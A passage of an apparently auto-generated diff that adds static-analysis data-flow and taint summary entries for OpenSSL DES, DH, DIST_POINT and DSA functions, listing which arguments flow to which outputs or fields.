"dfc-generated"] + - ["", "", True, "DES_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb64_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_ofb_encrypt", "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_quad_cksum", "(const unsigned char *,DES_cblock[],long,int,DES_cblock *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_quad_cksum", "(const unsigned char *,DES_cblock[],long,int,DES_cblock *)", "", "Argument[*4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_quad_cksum", "(const unsigned char *,DES_cblock[],long,int,DES_cblock *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_quad_cksum", "(const unsigned char *,DES_cblock[],long,int,DES_cblock *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DES_random_key", "(DES_cblock *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "DES_set_odd_parity", "(DES_cblock *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[**1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[*0]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[*2]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[0]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_2keys", "(const char *,DES_cblock *,DES_cblock *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_key", "(const char *,DES_cblock *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_key", "(const char *,DES_cblock *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_string_to_key", "(const char *,DES_cblock *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[*6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DES_xcbc_encrypt", "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)", "", "Argument[6]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DH_check", "(const DH *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DH_check_params", "(const DH *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "DH_check_pub_key", "(const DH *,const BIGNUM *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "DH_check_pub_key_ex", "(const DH *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DH_check_pub_key_ex", "(const DH *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "DH_clear_flags", "(DH *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DH_compute_key", "(unsigned char *,const BIGNUM *,DH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "DH_compute_key_padded", "(unsigned char *,const BIGNUM *,DH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "DH_get0_engine", "(DH *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_get0_engine", "(DH *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get0_g", "(const DH *)", "", "Argument[*0].Field[*params].Field[**g]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_get0_g", "(const DH *)", "", "Argument[*0].Field[*params].Field[*g]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get0_key", "(const DH *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DH_get0_key", "(const DH *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DH_get0_key", "(const DH *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DH_get0_key", "(const DH *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DH_get0_p", "(const DH *)", "", "Argument[*0].Field[*params].Field[**p]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_get0_p", "(const DH *)", "", "Argument[*0].Field[*params].Field[*p]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get0_pqg", "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DH_get0_pqg", "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DH_get0_pqg", "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "DH_get0_pqg", "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DH_get0_pqg", "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DH_get0_pqg", "(const DH *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "DH_get0_priv_key", "(const DH *)", "", "Argument[*0].Field[**priv_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_get0_priv_key", "(const DH *)", "", "Argument[*0].Field[*priv_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get0_pub_key", "(const DH *)", "", "Argument[*0].Field[**pub_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_get0_pub_key", "(const DH *)", "", "Argument[*0].Field[*pub_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get0_q", "(const DH *)", "", "Argument[*0].Field[*params].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_get0_q", "(const DH *)", "", "Argument[*0].Field[*params].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get_ex_data", "(const DH *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DH_get_length", "(const DH *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_get_nid", "(const DH *)", "", "Argument[*0].Field[*params].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_dup", "(const DH_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "DH_meth_dup", "(const DH_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DH_meth_get0_app_data", "(const DH_METHOD *)", "", "Argument[*0].Field[**app_data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get0_app_data", "(const DH_METHOD *)", "", "Argument[*0].Field[*app_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get0_name", "(const DH_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get0_name", "(const DH_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_bn_mod_exp", "(const DH_METHOD *)", "", "Argument[*0].Field[*bn_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_compute_key", "(const DH_METHOD *)", "", "Argument[*0].Field[*compute_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_finish", "(const DH_METHOD *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_flags", "(const DH_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_generate_key", "(const DH_METHOD *)", "", "Argument[*0].Field[*generate_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_generate_params", "(const DH_METHOD *)", "", "Argument[*0].Field[*generate_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_init", "(const DH_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_new", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_new", "(const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DH_meth_new", "(const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set0_app_data", "(DH_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set0_app_data", "(DH_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set1_name", "(DH_METHOD *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set1_name", "(DH_METHOD *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DH_meth_set_bn_mod_exp", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_compute_key", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*compute_key]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_finish", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_flags", "(DH_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_generate_key", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*generate_key]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_generate_params", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*generate_params]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_init", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "DH_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "DH_security_bits", "(const DH *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**pub_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**priv_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*pub_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*priv_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[*params].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[*params].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*params].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "DH_set_flags", "(DH *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DH_set_length", "(DH *,long)", "", "Argument[1]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "DH_set_method", "(DH *,const DH_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "DH_set_method", "(DH *,const DH_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "DH_test_flags", "(const DH *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DH_test_flags", "(const DH *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DHparams_dup", "(const DH *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DIRECTORYSTRING_free", "(ASN1_STRING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIRECTORYSTRING_free", "(ASN1_STRING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DISPLAYTEXT_free", "(ASN1_STRING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DISPLAYTEXT_free", "(ASN1_STRING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_free", "(DIST_POINT_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_free", "(DIST_POINT_NAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_free", "(DIST_POINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_free", "(DIST_POINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_set_dpname", "(DIST_POINT_NAME *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_set_dpname", "(DIST_POINT_NAME *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_set_dpname", "(DIST_POINT_NAME *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**r]", "value", "dfc-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*r]", "value", "dfc-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "DSA_clear_flags", "(DSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DSA_dup_DH", "(const DSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[*params].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*params].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_engine", "(DSA *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_engine", "(DSA *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_g", "(const DSA *)", "", "Argument[*0].Field[*params].Field[**g]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_g", "(const DSA *)", "", "Argument[*0].Field[*params].Field[*g]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_p", "(const DSA *)", "", "Argument[*0].Field[*params].Field[**p]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_p", "(const DSA *)", "", "Argument[*0].Field[*params].Field[*p]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_priv_key", "(const DSA *)", "", "Argument[*0].Field[**priv_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_priv_key", "(const DSA *)", "", "Argument[*0].Field[*priv_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_pub_key", "(const DSA *)", "", "Argument[*0].Field[**pub_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_pub_key", "(const DSA *)", "", "Argument[*0].Field[*pub_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_q", "(const DSA *)", "", "Argument[*0].Field[*params].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_q", "(const DSA *)", "", "Argument[*0].Field[*params].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get_ex_data", "(const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_get_method", "(DSA *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get_method", "(DSA *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_dup", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "DSA_meth_dup", "(const DSA_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DSA_meth_get0_app_data", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DSA_meth_get0_app_data", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "DSA_meth_get0_app_data", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSA_meth_get0_name", "(const DSA_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get0_name", "(const DSA_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_bn_mod_exp", "(const DSA_METHOD *)", "", "Argument[*0].Field[*bn_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_finish", "(const DSA_METHOD *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_flags", "(const DSA_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + 